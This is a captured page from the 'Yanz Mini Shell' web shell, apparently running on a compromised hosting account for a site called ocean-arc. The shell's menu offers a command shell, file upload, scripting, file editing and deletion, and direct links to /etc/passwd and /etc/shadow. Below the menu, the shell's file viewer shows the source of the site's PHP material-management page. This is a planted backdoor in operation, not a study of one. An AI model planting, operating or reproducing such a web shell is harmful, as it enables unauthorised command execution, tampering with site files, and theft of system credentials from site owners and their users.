Yanz Mini Shell
[_]
[-]
[X]
[
HomeShell 1
] [
HomeShell 2
] [
Upload
] [
Command Shell
] [
Scripting
] [
About
]
[ Directory ] =>
/
home
firstmatrixcoin
public_html
ocean-arc.firstmatrix.co.in
plugins
select2
Action
[*]
New File
[*]
New Folder
Sensitive File
[*]
/etc/passwd
[*]
/etc/shadow
[*]
/etc/resolv.conf
[
Delete
] [
Edit
] [
Rename
] [
Back
]
<?php include 'header.php'; ?> <!-- Vendors CSS --> <link rel="stylesheet" href="assets/vendor/libs/perfect-scrollbar/perfect-scrollbar.css" /> <link rel="stylesheet" href="assets/vendor/libs/typeahead-js/typeahead.css" /> <link rel="stylesheet" href="assets/vendor/libs/datatables-bs5/datatables.bootstrap5.css" /> <link rel="stylesheet" href="assets/vendor/libs/datatables-responsive-bs5/responsive.bootstrap5.css" /> <link rel="stylesheet" href="assets/vendor/libs/datatables-buttons-bs5/buttons.bootstrap5.css" /> <link rel="stylesheet" href="assets/vendor/libs/select2/select2.css" /> <link rel="stylesheet" href="assets/vendor/libs/@form-validation/form-validation.css" /> <div class="container-xxl flex-grow-1" style="padding: 0px 10px;"> <div class="card mb-2"> <div class="row p-2"> <div class="col-md-8"> <h6 class="card-header"><i class="ri-building-2-line"></i> Material Details</h6> </div> <?php if(get_permission('club', 'is_add')){ ?> <div class="col-md-4 text-end"> <button type="button" class="btn btn-xs btn-primary rounded-pill add_btn"> <i class="ri-file-add-fill"></i> Add New </button> </div> <?php } ?> </div> <div class="row p-2"> <div class="row mb-1"> <div class="col-sm-3"> <span style="font-size:12px;color: blue;">Filter By Status</span> <select id="filter_status" class="form-select"> <option value="">All List</option> <option value="Active">Active</option> <option value="Inactive">Inactive</option> </select> </div> </div> </div> </div> <div class="card"> <div class="table-responsive text-nowrap"> <table id="materialTable" class="table" style="width: 100%;"> <thead> <tr> <th>Sl.No</th> <th>Material Name</th> <th>Status</th> <?php if(get_permission('club', 'is_edit') || get_permission('club', 'is_view') || get_permission('club', 'is_delete')){ ?> <th>Actions</th> <?php } ?> </tr> </thead> </table> </div> </div> </div> <!-- Delete Modal --> <div class="modal fade" id="deleteModal" tabindex="-1" aria-labelledby="deleteModalLabel" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="modal-header"> <h5 class="modal-title">Confirm Delete</h5> <button type="button" class="btn-close" data-bs-dismiss="modal"></button> </div> <div class="modal-body">Are you sure you want to delete this Material?</div> <div class="modal-footer"> <button type="button" class="btn btn-secondary" data-bs-dismiss="modal">Cancel</button> <button type="button" class="btn btn-danger" id="confirmDelete">Delete</button> </div> </div> </div> </div> <?php include 'footer.php'; ?> <!-- Vendors JS --> <script src="assets/vendor/libs/jquery/jquery.js"></script> <script src="assets/vendor/libs/datatables-bs5/datatables-bootstrap5.js"></script> <script src="assets/vendor/libs/select2/select2.js"></script> <script> $('#filter_status').on('change', function () { getDataTable(); }); <?php $actionButtonsJS = ""; if (get_permission('club', 'is_edit')) { $actionButtonsJS .= '<button class="btn btn-warning btn-xs" onclick="editMaterial(${data.id})"><i class=\'ri-edit-box-fill\'></i> Edit</button> '; } if (get_permission('club', 'is_delete')) { $actionButtonsJS .= '<button class="btn btn-danger btn-xs" onclick="deleteMaterial(${data.id})"><i class=\'ri-chat-delete-fill\'></i> Delete</button>'; } ?> function getDataTable() { const status = $('#filter_status').val(); const params = new URLSearchParams(); if (status) params.append("status", status); const queryString = params.toString() ? `?${params.toString()}` : ""; const $table = $('#materialTable'); if ($.fn.DataTable.isDataTable($table)) { $table.DataTable().clear().destroy(); } $table.DataTable({ processing: true, serverSide: true, ajax: { url: `api/material/read.php${queryString}`, type: 'GET' }, columns: [ { data: null, render: (data, type, row, meta) => meta.row + 1 }, { data: 'name', render: (data, type, row) => { let color = row.status == 'Active' ? 'green' : 'red'; return `<a style="color: ${color};">${data}</a>`; } }, { data: 'status', render: (data) => data === "Active" ? '<span class="badge bg-success">Active</span>' : '<span class="badge bg-danger">Inactive</span>' }, <?php if(get_permission('club', 'is_edit') || get_permission('club', 'is_delete')){ ?> { data: null, orderable: false, searchable: false, className: "text-center", render: function(data) { return `<?= $actionButtonsJS ?>`; } } <?php } ?> ], order: [[2, 'asc']], responsive: true, lengthMenu: [[10, 25, 50, 100], [10, 25, 50, 100]], }); } $(document).ready(function () { $('.add_btn').on('click', function () { window.location.href = 'material.php'; }); getDataTable(); }); function editMaterial(id) { window.location.href = 'material.php?id=' + id; } let deleteId = null; function deleteMaterial(id) { deleteId = id; $('#deleteModal').modal('show'); } $('#confirmDelete').click(function () { if (deleteId) { $.ajax({ url: `api/material/delete.php`, type: 'POST', contentType: 'application/json', data: JSON.stringify({ id: deleteId }), dataType: 'json', success: function (response) { $('#deleteModal').modal('hide'); showtoastt(response.message, response.status === 'success' ? 'success' : 'red'); $('#materialTable').DataTable().ajax.reload(); }, error: function (jqXHR) { $('#deleteModal').modal('hide'); let errorMessage = 'Something went wrong...'; if (jqXHR.responseJSON && jqXHR.responseJSON.message) { errorMessage = jqXHR.responseJSON.message; } showtoastt(errorMessage, 'red'); $('#materialTable').DataTable().ajax.reload(); } }); } }); </script>
Free Space : 12101967872 Byte